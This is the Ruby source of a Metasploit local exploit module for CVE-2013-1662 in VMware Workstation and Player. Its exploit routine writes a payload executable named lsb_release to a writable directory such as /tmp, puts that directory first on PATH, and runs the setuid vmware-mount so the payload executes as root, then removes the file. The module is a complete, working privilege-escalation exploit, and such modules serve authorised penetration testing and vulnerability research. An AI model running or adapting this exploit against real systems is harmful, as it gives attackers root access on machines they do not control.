## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File def initialize(info={}) super( update_info( info, { 'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)', 'Description' => %q{ VMWare Workstation (up to and including 9.0.2 build-1031769) and Player have a setuid executable called vmware-mount that invokes lsb_release in the PATH with popen(3). Since PATH is user-controlled, and the default system shell on Debian-derived distributions does not drop privs, we can put an arbitrary payload in an executable called lsb_release and have vmware-mount happily execute it as root for us. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Vulnerability discovery and PoC 'egypt' # Metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => ARCH_X86, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultOptions' => { "PrependSetresuid" => true, "PrependSetresgid" => true, "PrependFork" => true, }, 'Privileged' => true, 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2013-1662' ], [ 'OSVDB', '96588' ], [ 'BID', '61966'], [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ], [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/05/cve-2013-1662-vmware-mount-exploit' ] ], 'DisclosureDate' => "Aug 22 2013" } )) register_options([ OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]), ], self.class) end def check if setuid?("/usr/bin/vmware-mount") CheckCode::Appears else CheckCode::Safe end end def exploit unless check == CheckCode::Appears fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid") end lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release') write_file(lsb_path, generate_payload_exe) cmd_exec("chmod +x #{lsb_path}") cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount") # Delete it here instead of using FileDropper because the original # session can clean it up cmd_exec("rm -f #{lsb_path}") end def setuid?(remote_file) !!(cmd_exec("test -u #{remote_file.strip} && echo true").index "true") end end